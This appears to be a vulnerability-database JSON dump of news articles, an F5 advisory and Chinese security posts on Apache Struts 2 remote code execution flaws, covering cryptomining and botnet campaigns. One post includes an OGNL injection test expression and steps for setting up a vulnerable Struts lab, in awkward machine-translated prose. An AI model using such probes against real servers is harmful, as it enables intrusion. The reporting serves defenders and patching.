Struts result types are unsafe when used without a namespace, as defined in either in the Struts configuration file or in Java code if the Struts Convention plugin is used. These are the redirect action, which redirects the visitor to a different URL; action chaining, which is a method to chain multiple actions into a defined sequence or workflow; and postback result, which renders the current request parameters as a form which immediately submits a postback to the specified destination chain or postback.\n\nThe researchers explained: \u201cAn example of a struts.xml configuration that is potentially vulnerable: the <action \u2026> tag does not have a namespace attribute and contains a result of type redirectAction. If you use the Struts Convention plugin, you will also have to look for actions and results that are configured using Java code.\u201d\n\nThe second attack vector has to do with the fact that Struts supports page templates inside <result> tags in the Struts configuration: \u201cThe use of URL tags in such pages is potentially unsafe if the template is referred to from an <action> tag that does not provide a namespace attribute (or specifies a wildcard namespace),\u201d the researchers said. \u201cYour application is vulnerable if the template contains an <s:url \u2026> tag without an action or value attribute.\u201d\n\nResearchers noted that for an exploit for either of the known vectors to be successful, an application must have the alwaysSelectFullNamespace flag set to \u201ctrue\u201d in the Struts configuration \u2013 a default state if the application uses the popular Struts Convention plugin. Also, the application\u2019s actions must be configured without specifying a namespace, or with a wildcard namespace (e.g. \u201c/*\u201d).\n\n\u201cThis applies to actions and namespaces specified in the Struts configuration file (e.g. <action namespace=\u201dmain\u201d>), but also to actions and namespaces specified in Java code if you are using the Struts Convention plugin,\u201d they explained.\n\nThat said, they also cautioned that other attack vectors may emerge that apply to different configurations.\n\n\u201cWhether or not a Struts application is vulnerable to remote code execution largely depends on the exact configuration and architecture of the application,\u201d the firm said. \u201cNote that even if an application is currently not vulnerable, an inadvertent change to a Struts configuration file may render the application vulnerable in the future. You are therefore strongly advised to upgrade your Struts components, even if you believe your configuration not to be vulnerable right now.\u201d\n\nThis is a critical point, according to Mackey. \u201cValidating the input to a function requires a clear definition of what is acceptable,\u201d he said. \u201cIt equally requires that any functions available for public use document how they use the data passed to them. Absent the contract such definitions and documentation form, it\u2019s difficult to determine if the code is operating correctly or not. This contract becomes critical when patches to libraries are issued as its unrealistic to assume that all patches are free from behavioral changes. Modern software is increasingly complex and identifying how data passes through it should be a priority for all software development teams.\u201d\n\nPavel Avgustinov, vice president of QL Engineering at Semmle, laid out what\u2019s at stake in a media statement: \u201cCritical remote code-execution vulnerabilities like the [one that affected Equifax](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>) and the one we announced [this week] are incredibly dangerous for several reasons: Struts is used for publicly-accessible customer-facing websites, vulnerable systems are easily identified, and the flaw is easy to exploit,\u201d he said. \u201cA hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system. It\u2019s crucially important to update affected systems immediately; to wait is to take an irresponsible risk.\u201d\n", "cvss3": {}, "published": "2018-08-23T16:46:57", "type": "threatpost", "title": "Apache Struts 2 Flaw Uncovered: \u2018More Critical Than Equifax Bug\u2019", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-9805", "CVE-2018-11776"], "modified": "2018-08-23T16:46:57", "id": "THREATPOST:D5150098043DAE7CDF2E31618C33F5D2", "href": "https://threatpost.com/apache-struts-2-flaw-uncovered-more-critical-than-equifax-bug/136850/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-10-06T22:53:48", "description": "Oracle released its biggest [Critical Patch Update](<http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html>) ever on Tuesday, and with it came added urgency in the form of patches for the Solaris vulnerabilities exposed by the [ShadowBrokers](<https://threatpost.com/shadowbrokers-expose-nsa-access-to-swift-service-bureaus/124996/>) last week, as well as the recent [Apache Struts 2 vulnerability](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>), also under public attack.\n\nIn all, Oracle admins have a tall order with 299 patches across most of the company\u2019s product lines; 162 of the vulnerabilities are remotely exploitable.\n\nTwo Solaris exploits were leaked by the mysterious ShadowBrokers last Friday. The Solaris attacks were included among a rash of other exploits including a laundry list of Windows attacks, many of which had [already been patched by Microsoft](<https://threatpost.com/shadowbrokers-windows-zero-days-already-patched/125009/>) prior to last Friday\u2019s dump.\n\nOne of the Solaris vulnerabilities, code-named EBBISLAND, had been patched in a number of updates dating back to 2012. The other, EXTREMEPARR, was addressed on Tuesday. It affects Solaris 7-10 on x86 and SPARC architectures, and is a local privilege escalation issue in the [dtappgather](<https://github.com/HackerFantastic/Public/blob/master/exploits/dtappgather-poc.sh>) component. Oracle patched versions 10 and 11.3 on Tuesday.\n\nResearcher Matthew Hickey of U.K. consultancy Hacker House, said the EXTREMEPARR attacks go back to Solaris 7, while EBBISLAND affects Solaris 6-10, and is a remote RPC services exploit. Both exploits allow attackers to elevate privileges to root and run shells on a compromised server.\n\n> I said in December that EBBISLAND was likely an exploit for Solaris 6 through 10, I am today confirmed correct (upto 9, still untested) <https://t.co/A3fC7BuwcK>\n> \n> \u2014 Hacker Fantastic (@hackerfantastic) [April 8, 2017](<https://twitter.com/hackerfantastic/status/850802122224488452>)\n\n\u201cAs a security researcher it was an extremely interesting find to discover such well written exploits in a public data dump,\u201d Hickey wrote in a [report](<https://www.myhackerhouse.com/easter-egg-hunt_greetz/#sthash.YMmAy8Ez.dpuf>) published today, \u201ceven though the bug was a trivial path traversal for \u2018dtappgather\u2019 extensive steps had been taken to protect the attack specifics in the binary and a well tested tool which worked flawlessly on all tested hosts was included.\u201d\n\nSince last August, the ShadowBrokers have periodically released tools belonging to the Equation Group, widely believed to be the U.S. National Security Agency. The Solaris attacks are of particular concern since these are the backbone of many enterprise-grade server environments.\n\n> The NSA had the power to hack any Oracle Solaris box in the world via UDP/TCP generically with anti-forensics capabilities and its public.\n> \n> \u2014 Hacker Fantastic (@hackerfantastic) [April 10, 2017](<https://twitter.com/hackerfantastic/status/851561358516736000>)\n\n\u201cThis vulnerability can be exploited remotely without authentication or any information about the targeted machine,\u201d said Amol Sarwate, director of [Qualys Vulnerability Labs](<https://blog.qualys.com/laws-of-vulnerabilities/2017/04/18/oracle-plugs-struts-hole-along-with-299-total-vulnerabilities>). \u201cThese are very critical vulnerabilities.\u201d\n\nThe [Apache Struts 2 vulnerability](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638>) has been public since early March, though it\u2019s been publicly exploited for much longer. The flaw is in the Jakarta Multipart parser in Struts 2 2.3 before 2.3.32 and in 2.5 before 2.5.10.1. A remote attacker could upload a malicious Content-Type value and have it execute. Public scans and attacks ramped up immediately upon disclosure of the issue and development of a Metasploit module. For the most part, Linux-based DDoS bots were behind most of the exploit attempts, but a spate of attacks were detected attempting to install [Cerber ransomware](<https://threatpost.com/apache-struts-2-exploits-installing-cerber-ransomware/124844/>) on vulnerable Windows servers.\n\nOracle patched Struts 2 on 25 of its products, including 19 different instances of its Oracle Financial Services Applications. Most of these Oracle applications, however, are not internet-facing and live behind an enterprise firewall.\n\n\u201cThat could be a little bit of a saving grace for some of these services,\u201d Qualys\u2019 Sarwate said. There could be some instances, however, where these apps are exposed to the public network for remote administration purposes, for example. There are also some cases in which admins may be learning for the first time that Struts 2 is running inside an Oracle product. \u201cFor a normal admin, it could be a little difficult unless a vendor tells them these are the products you\u2019re running that are affected by the Struts 2 vulnerability. It could take some admins by surprise.\u201d\n\nWhile there were 47 patches in total for the financial applications suite, the MySQL database also received a hefty load of 39 fixes, 11 of which are remotely exploitable without authentication. The Oracle Retail Applications suite also had 39 vulnerabilities addressed, 32 of which were remotely exploitable. Oracle Fusion Middleware received 31 patches, 20 of which were for remotely exploitable vulnerabilities.\n\nThe previous record for quarterly Oracle patches was last July when [276 patches](<https://threatpost.com/oracle-patches-record-276-vulnerabilities-with-july-critical-patch-update/119373/>) were released; January\u2019s update, the first for 2017, had [270 patches](<https://threatpost.com/oracle-patches-270-vulnerabilities-in-years-first-critical-patch-update/123155/>).\n", "cvss3": {}, "published": "2017-04-19T07:20:09", "type": "threatpost", "title": "Record Oracle Patch Update Addresses ShadowBrokers, Struts 2 Vulnerabilities", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2018-11776"], "modified": "2017-04-21T19:31:17", "id": "THREATPOST:F4E175435A7C5D2A4F16D46A939B175E", "href": "https://threatpost.com/record-oracle-patch-update-addresses-shadowbrokers-struts-2-vulnerabilities/125046/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-07-03T05:58:59", "description": "It was only a matter of time before attacks were seen in the wild, and now it\u2019s happened. A known threat actor has mounted a large cryptomining campaign using the recently disclosed Apache Struts 2 critical remote code-execution vulnerability. It uses a new malware designed for persistence and stealth, dubbed CroniX.\n\nThe malware\u2019s snappy name comes from the fact that it uses the Cron tool for persistence and Xhide for launching executables with fake process names, according to researchers at F5 Labs, who analyzed the campaign.\n\nThe Apache Struts 2 namespace vulnerability ([CVE-2018-11776](<https://threatpost.com/apache-struts-2-flaw-uncovered-more-critical-than-equifax-bug/136850/>)) was disclosed just two weeks ago by researchers at Semmle. Researchers have warned that it has the potential to open the door to even more critical havoc than the bug at the root of the [infamous Equifax breach](<https://threatpost.com/equi-facts-equifax-clarifies-the-numbers-for-its-massive-breach/131797/>), which was also an Apache Struts 2 flaw ([CVE-2017-5638](<https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/>)). That\u2019s quite a statement given that the attack resulted in the exposure of personally identifiable information (PII) of 147 million consumers, costing the Fortune 500 credit-reporting company more than $439 million in damages and leading to the resignation of several of its executives.\n\nThe new campaign makes use of one of the [proof-of-concept exploits](<https://threatpost.com/poc-code-surfaces-to-exploit-apache-struts-2-vulnerability/136921/>) that were published on Github2 and Twitter just days after the latest flaw was publicized. Adversaries are using it to gain unauthenticated remote code-execution capabilities on targeted Linux machines in order to install a [Monero cryptomining script](<https://threatpost.com/?s=monero>), F5 researchers said.\n\n\u201cAs with many other Apache Struts 2 vulnerabilities, CVE-2018-11776 allows attackers to inject Object-Graph Navigation Language (OGNL) expressions, which might contain malicious Java code that is evaluated under several circumstances,\u201d the team explained in [a posting](<https://www.f5.com/labs/articles/threat-intelligence/apache-struts-2-vulnerability--cve-2018-11776--exploited-in-cron>) Tuesday. \u201cThis time, the injection point is within the URL. The attacker sends a single HTTP request while injecting an OGNL expression that, once evaluated, executes shell commands to download and execute a malicious file.\u201d\n\nThey added, \u201cconsidering it\u2019s only been two weeks since this vulnerability was discovered, it\u2019s worth noting how fast attackers are weaponizing vulnerabilities and how quickly researchers are seeing them in the wild.\u201d\n\n**Analysis**\n\nTaking a closer look at the malware, the team saw the malware downloads a file called \u201cH,\u201d which turns out to be an old XHide tool for launching executables with a fake process name, the researchers said. In this case, it launches a fork of the XMRig Monero miner, with an embedded configuration (pool, username and password), while changing the process name to the more innocuous-sounding \u201cjava.\u201d\n\nThe analysts also saw that three Cron jobs are used for persistence, with two of them refreshing the backdoor every day with downloads from the C2 server. Another job downloads a daily file named \u201canacrond,\u201d which saves itself in various Cron job files around the system. In all three cases, the scripts are used to connect to the C2 server and download the deployment bash script to restart the mining process; older versions of the scripts are then deleted off the system.\n\nCroniX also a competitive malware, locating and deleting the binaries of any previously installed cryptominers so as to claim all of the CPU resources for itself, F5 found.\n\n\u201cFor some miners, the attacker decides to take a more careful approach and check each process name and process CPU usage, and then kill only those processes that utilize 60 percent or more of the CPU resources,\u201d F5 researchers said. \u201cThis is probably done to avoid killing legitimate processes as the names of these miners (crond, sshd and syslogs) typically relate to legitimate programs on a Linux system.\u201d\n\nComparing the modus operandi of the operation, F5 researchers believe the actor is the same group that was behind a previous campaign exploiting Jenkins servers via [CVE-2017-1000353](<https://devcentral.f5.com/articles/jenkins-unsafe-deserialization-vulnerability-cve-2017-1000353-30142>). That campaign was uncovered two months ago.\n\n\u201cThe malware deployment pattern\u2026similar deployed file names and the quite unique usage of the XHide process-faker made us believe that the threat actor behind the exploitation of this fresh Struts 2 vulnerability is the same one,\u201d researchers noted in the analysis.\n\nOne difference is that in the previous campaign, the threat actor used a Chinese Git website to host malicious files. Here, the attackers are using a dedicated web server hosted in the U.S., along with domain names designating the Pacific island of Palau (.pw) \u2013 believed registered by a Russian registrant.\n\nWhile cryptomining can be seen as less destructive than [wiper malware,](<https://threatpost.com/secrets-of-the-wiper-inside-the-worlds-most-destructive-malware/131836/>) [ransomware](<https://threatpost.com/apache-struts-2-exploits-installing-cerber-ransomware/124844/>) or Equifax-like [mass data exfiltration](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>) (all of which can be carried out using this flaw), Jeannie Warner, security manager at WhiteHat Security, noted that exploit development tends to be faster for more widely embedded flaws, highlighting the importance of patching this particular issue immediately.\n\n\u201cApache Struts is used by some of the world\u2019s largest companies,\u201d she said via email. \u201cThe more common the vulnerability, the more it helps attackers simplify their process\u2026and the easier it becomes for non-skilled hackers to compromise more websites. Methods to exploit this newest Struts vulnerability are already available online, so it is absolutely critical that all companies implement the patch immediately. There\u2019s no time to waste.\u201d\n\nMore attacks should be anticipated; in fact, while Linux machines seem to be the target for this particular CroniX effort, the F5 analysis uncovered an additional file lurking on the server that seems tailored to Microsoft\u2019s OS.\n\n\u201c[The file] at /win/checking-test.hta holds a Visual Basic script that calls a Microsoft Windows cmd to run a Powershell command on a targeted victim,\u201d researchers said. \u201cSo, it seems this threat actor is targeting Windows OS (not just Linux) using another operation hosted on the same server.\u201d\n", "cvss3": {}, "published": "2018-09-05T17:48:03", "type": "threatpost", "title": "Active Campaign Exploits Critical Apache Struts 2 Flaw in the Wild", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-1000353", "CVE-2017-5638", "CVE-2018-11776"], "modified": "2018-09-05T17:48:03", "id": "THREATPOST:D70CED5C745CA3779F2D02FBB6DBA717", "href": "https://threatpost.com/active-campaign-exploits-critical-apache-struts-2-flaw-in-the-wild/137207/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-30T05:51:10", "description": "Researchers have discovered new variants for the infamous Mirai and Gafgyt IoT botnets \u2013 now targeting well-known vulnerabilities in Apache Struts and SonicWall.\n\nThe new Mirai strain targets the Apache Struts flaw associated with the 2017 Equifax breach, while the Gafgyt variant uses a newly-disclosed glitch impacting older, unsupported versions of SonicWall\u2019s Global Management System, according to researchers with Palo Alto Networks in a [Sunday ](<https://researchcenter.paloaltonetworks.com/2018/09/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/>)post.\n\n\u201cHere we\u2019re seeing Mirai and Gafgyt variants targeting systems mostly seen in enterprises,\u201d Ruchna Nigam, researcher with Palo Alto Networks, told Threatpost. \u201cUltimately, future trends are open to speculation, but we know that targeting enterprise links offers bigger bandwidth from a DDoS perspective. For now, it looks that the attackers may be doing a test run on the efficacy of using different vulnerabilities, with the intention of spotting ones that herd the maximum number of bots, affording them greater firepower for a DDoS.\u201d\n\n**Mirai Evolves**\n\nResearchers said that they discovered samples of a Mirai variant on Sept. 7 incorporating exploits that targeted 16 separate vulnerabilities.\n\nThe variant notably exploits the critical arbitrary command-execution flaw in Apache Struts ([CVE-2017-5638](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>)) that was patched in March 2017. This marks the first known instance of Mirai targeting a vulnerability in Apache Struts, researchers said. Attackers could use specially crafted content-type, content-disposition or content-length HTTP headers to launch an arbitrary command-execution attack.\n\nThough a patch has been available for over a year now, many consumers may not have updated their systems \u2013 an issue that led to the already-patched [vulnerability](<https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/>) being responsible for the Equifax breach last summer that impacted 147 million consumers.\n\nFlaws in Apache Struts have been actively exploited in the wild in other recent campaigns; these include a large cryptomining campaign using the recently disclosed Apache Struts 2 critical remote code-execution (CVE-2018-11776) [vulnerability](<https://threatpost.com/active-campaign-exploits-critical-apache-struts-2-flaw-in-the-wild/137207/>), which was patched in August.\n\nThe other 15 vulnerabilities targeted by the newest Mirai strain have been incorporated into the botnet in the past, including a Linksys remote code-execution flaw in Linksys E-Series devices, a Vacron NVR remote code-execution glitch, a remote code-execution issue in D-Link devices, remote code-execution vulnerabilities in CCTVs and DVRs from up to 70 vendors, and a flaw (CVE-2017-6884) in Zyxel routers.\n\nUnit 42 also found that the domain currently hosting these Mirai samples previously resolved to a different IP address during the month of August \u2014 an IP address hosting a new version of Gafgyt as well.\n\n**Gafgyt Adds to Bag of Tricks**\n\nIn August, the observed IP was \u201cintermittently hosting samples of Gafgyt that incorporated an exploit against CVE-2018-9866, a SonicWall vulnerability affecting older versions of SonicWall Global Management System (GMS),\u201d according to Nigam.\n\nThe targeted vulnerability ([CVE-2018-9866](<https://nvd.nist.gov/vuln/detail/CVE-2018-9866>)) exists in the lack of validation of user-supplied parameters pass to XML-RPC calls on SonicWall Global Management System (GMS) virtual appliances, allowing remote users to execute arbitrary code.\n\nThis vulnerability affects older, unsupported GMS versions, including 8.1 and earlier (the flaw is not present in supported versions). A Metasploit module was first [published](<https://www.exploit-db.com/exploits/45124/>) earlier this summer for the flaw; SonicWall then published a [public advisory](<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2018-0007>) about the critical issue July 17.\n\nSonicWall has been notified of this latest development with Gafgyt, researchers said.\n\n\u201cThe vulnerability disclosed in this post is not an announcement of a new vulnerability in SonicWall GMS,\u201d a SonicWall spokesperson told Threatpost. \u201cThe issue referenced only affects an older version of the GMS software (version 8.1) which was replaced by version 8.2 in December 2016. Customers and partners running GMS version 8.2 and above are protected against this vulnerability. Customers still using GMS version 8.1 should apply a hotfix supplied by SonicWall in August 2018 and plan for an immediate upgrade, as GMS 8.1 went out of support in February 2018.\u201d\n\nThe Gafgyt botnet exploits a range of IoT flaws, including other issues in Huawei, GPON and D-Link devices.\n\nOnce in, it then fetches an update from <HTTP_SERVER>, saves it to <FILE_LOCATION>, and installs the update. After that, the botnet launches a Blacknurse DDoS attack, an attack that involves ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016.\n\n\u201cOne thing that stood out was the Gafgyt variant having support for the BlackNurse DDoS attack method,\u201d Ruchna told us. \u201cThe earliest samples I have seen supporting this DDoS method are from September 2017.\u201d\n\n**Continued Development**\n\nThe discovery of new targeted vuln comes after it was revealed in July that Mirai and Gafgyt were actively launching two IoT/Linux botnet [campaigns](<https://threatpost.com/d-link-dasan-routers-under-attack-in-yet-another-assault/134255/>), exploiting the [CVE-2018-10562 and CVE-2018-10561 bugs in Dasan routers](<https://threatpost.com/millions-of-home-fiber-routers-vulnerable-to-complete-takeover/131593/>).\n\nIn October 2016, the world was introduced to Mirai when it [overwhelmed servers](<https://threatpost.com/dyn-ddos-could-have-topped-1-tbps/121609/>) at global domain provider Dynamic Network Services (Dyn); that led to the blockage of more than 1,200 websites, including Netflix and Twitter. The Mirai source code was then released in Oct. 2016, with Mirai variants continuing to pop up left and right since then.\n\nMost recently, in April, a variant of the Mirai [botnet](<https://threatpost.com/mirai-variant-targets-financial-sector-with-iot-ddos-attacks/131056/>) was used to launch a series of DDoS campaigns against financial sector businesses, while in January, researchers identified a variant called [Satori (Mirai Okiru)](<https://threatpost.com/satori-author-linked-to-new-mirai-variant-masuta/129640/>).\n", "cvss3": {}, "published": "2018-09-10T14:23:09", "type": "threatpost", "title": "Mirai, Gafgyt Botnets Return to Target Infamous Apache Struts, SonicWall Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-6884", "CVE-2018-10561", "CVE-2018-10562", "CVE-2018-11776", "CVE-2018-9866"], "modified": "2018-09-10T14:23:09", "id": "THREATPOST:FC5665486C9D63E5C0C242F47F66ACF1", "href": "https://threatpost.com/mirai-gafgyt-botnets-return-to-target-infamous-apache-struts-sonicwall-flaws/137309/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "f5": [{"lastseen": "2023-06-19T15:41:33", "description": "Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when using results with no namespace and in same time, its upper action(s) have no or wildcard namespace. Same possibility when using url tag which doesn't have value and action set and in same time, its upper action(s) have no or wildcard namespace. ([CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>))\n\nImpact\n\nThere is no impact; F5 products are not affected by this vulnerability.\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-08-24T03:58:00", "type": "f5", "title": "Apache Struts vulnerability CVE-2018-11776", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2022-02-28T06:11:00", "id": "F5:K60499474", "href": "https://support.f5.com/csp/article/K60499474", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "myhack58": [{"lastseen": "2018-08-23T14:31:18", "description": "It is possible to perform a RCE attack when the namespace value isn't set for a result defined in underlying xml configurations and in the same time, its upper action(s) configurations have no or wildcard namespace. The Same possibility when using the url tag which doesn't have value and action set and in the same time, its upper action(s) configurations have no or wildcard namespace. -- Apache Struts2 Team \n2018 8 May 23, Apache Strust2 released the latest security Bulletin, the Apache Struts2 there is a remote code execution of high-risk vulnerability by Semmle Security Research team of security researchers reporting vulnerabilities number of CVE-2018-11776\uff08S2-057 in. Struts2 in XML configuration, if the namespace value is not set and the Action Configuration is not set or wildcard namespace may lead to remote code execution. \n\n0x01 vulnerability affect \nAffect \nDetermining CVE-2018-11776 as a high-risk vulnerability. \nThe actual scene there are some limitations that need to meet certain conditions. \nImpact version \nStruts 2.3 to 2.3.34 \nThe Struts 2.5 to 2.5.16 \nFix version \nThe Struts 2.3.35 \nThe Struts 2.5.17 \n\n0x02 vulnerability verification \n! [](/Article/UploadPic/2018-8/2018823153240150. png) \nIncoming OGNL expression${2333+2333} \n! [](/Article/UploadPic/2018-8/2018823153240244. png) \nSuccess with the execution of the function, and perform \n! [](/Article/UploadPic/2018-8/2018823153240318. png) \nReturns the result to the URL \n\n0x03 repair recommendations \nThe official recommended to upgrade the Struts to 2. 3. 35 version or 2. 5. 17 version \nThe updated version there are no compatibility issues \n\n0x04 timeline \n2018-08-22 vulnerability disclosure \n2018-08-22 360CERT publish early warning analysis advertisement \n\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-08-23T00:00:00", "type": "myhack58", "title": "Apache Struts2 S2-057 vulnerability analysis and early warning-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-23T00:00:00", "id": "MYHACK58:62201891267", "href": "http://www.myhack58.com/Article/html/3/62/2018/91267.htm", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-03-30T00:37:24", "description": "Through this article, we mainly learn how Apache Struts to achieve OGNL injection. Our examples will be set forth in the Struts of the two critical vulnerabilities: CVE-2017-5638\uff08Equifax information disclosure and CVE-2018-11776\u3002 \nApache Struts is a free open source framework for creating modern Java Web applications. Apache Struts has many serious vulnerabilities, one of its characteristics is to support OGNL object graph navigation language, which is also many loopholes is the main reason. \nOne vulnerability, CVE-2017-5638 directly leads to the 2017 Equifax information leakage, exposure to more than 1. 45 million US citizens personal information. Although the company's annual revenue more than 30 billion dollars, but they still did not escape the Apache Struts MVC framework of a known vulnerability attack. \nThis paper mainly introduces the Apache Struts, and then will guide us how to modify a simple application, the use of OGNL and achieve exploits. Next, we will study in depth the platform on a number of Public Exploit way, and try to use OGNL injection vulnerability. \nAlthough Java developers are familiar with Apache Struts, but the security community often does not do however, which is why we wrote this article for the reason. \nGetting started \nRunning a vulnerable Struts application need to install Apache Tomcat [Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>a). The package of the latest version can be downloaded here as a ZIP. The binary file decompress to a location of your choice we use/var/tomcat, and continues: \ncd /var/tomcat/bin # go to the unzipped folder \nchmod +x *. sh # set the script to executable file \n./ startup.sh # run the startup script \nOur visit to http://localhost:8080/, and check whether the site running. \nAfter the confirmation, we are ready to download the old version of the Apache Struts framework, which is vulnerable to our upcoming demo of the vulnerability attack. This page provides to meet our needs 2. 3. 30 version The Struts in. \nIn the extract compressed content, we should be in the/apps position seen under struts2-showcase. war file. This is one use of the Struts compiled and ready to deploy demo application. Just need the WAR file is copied to/var/tomcat/webapps, and access http://localhost:8080/struts2-showcase/showcase. action confirm whether it is valid. \n[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)the basics \nIf you have a good grasp of the Java Web applications related to simple concepts such as Servlets, then you would have been leading. If you are new to the Java Servlet knows nothing about, it can be understood simply as a component, its purpose is to create for in the[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)hosted on Web applications the Web container, in addition, it is also responsible for the processing of the/struts2-showcase and other Java applications request. \nTo the processing Servlet, the[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>), for example Apache Tomcat requires some Assembly: \n1\\. Apache Coyote is to support the HTTP/1.1 Protocol connector. It allows the Servlet container components of Apache Catalina to communicate. \n2\\. Apache Catalina container when determined in the Tomcat receives an HTTP request, you need to call which the Servlet container. It will also HTTP request and response from the text is converted to a Servlet using a Java object. \n! [](/Article/UploadPic/2019-3/201933032655612. png) \nHere you can find information about the Java Servlet specification for all the details of the latest version 4. 0 in. \nApache Struts basics \nWith Java Web applications using the Apache Struts Framework application can have multiple Servlet. This article's main purpose is not to let everyone understand this to build the Web application framework, but on the surface the hang of the basic concepts. We can step-by-step tutorial on the subject. \nThe Apache Struts framework relies on MVC model-View-Controller architecture pattern. IT application very helpful, because you can separate the main application components: \n1\\. Model: represents the application data, for example, using\u201corders\u201dand other data of the class. \n2\\. View: is the output of the application, the visual part. \n3\\. The controller: receiving a user input, using the model to generate the view. \n4\\. Action Actions: the Apache Struts in the model. \n5\\. Intercept the Interceptors: the part of the controller, they can be in processing the request before or after the invocation of the hook. \n6\\. Value stack/OGNL: a set of objects, for example, model or action object. \n7\\. Result/result type: used to select business logic view. \n8\\. View of technology: the processing of data display. \nYou can see below the Apache Struts Web application General architecture: \n! [](/Article/UploadPic/2019-3/201933032655347.jpg) \nController receives the HTTP request, the FilterDispatcher is responsible for according to the request to invoke the right Operation. And then perform the operation, the view component is ready for a result and sends it to the HTTP response in the user. \nStruts application example \nYou want to start from scratch to write a Struts application takes some time, so we will use an already available rest-showcase demo application, which is a basic front-end a simple REST API. To compile the application, we only need to go into its directory and use Maven to compile: \ncd struts-2.3.30/src/apps/rest-showcase/ \nmvn package \nIn the target directory, we can find the following files: struts2-rest-showcase. war. You can copy it to the Tomcat server's webapps directory, for example:/var/tomcat/webapps to install it. \nThe following is the application source code: \n! [](/Article/UploadPic/2019-3/201933032655780. png) \nThe following are the available file description: \n1\\. Order. java is model, which is a storing order information of a Java class. \npublic class Order { \nString id; \nString clientName; \nint amount; \n... \n} \n2\\. OrdersService. java is a Helper class, which will be the Orders stored in the HashMap of the total, and its management. \npublic class OrdersService { \n\n\n**[1] [[2]](<93410_2.htm>) [[3]](<93410_3.htm>) [[4]](<93410_4.htm>) [[5]](<93410_5.htm>) [[6]](<93410_6.htm>) [next](<93410_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2019-03-30T00:00:00", "type": "myhack58", "title": "Apache Struts OGNL injection vulnerability principle with an example-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, 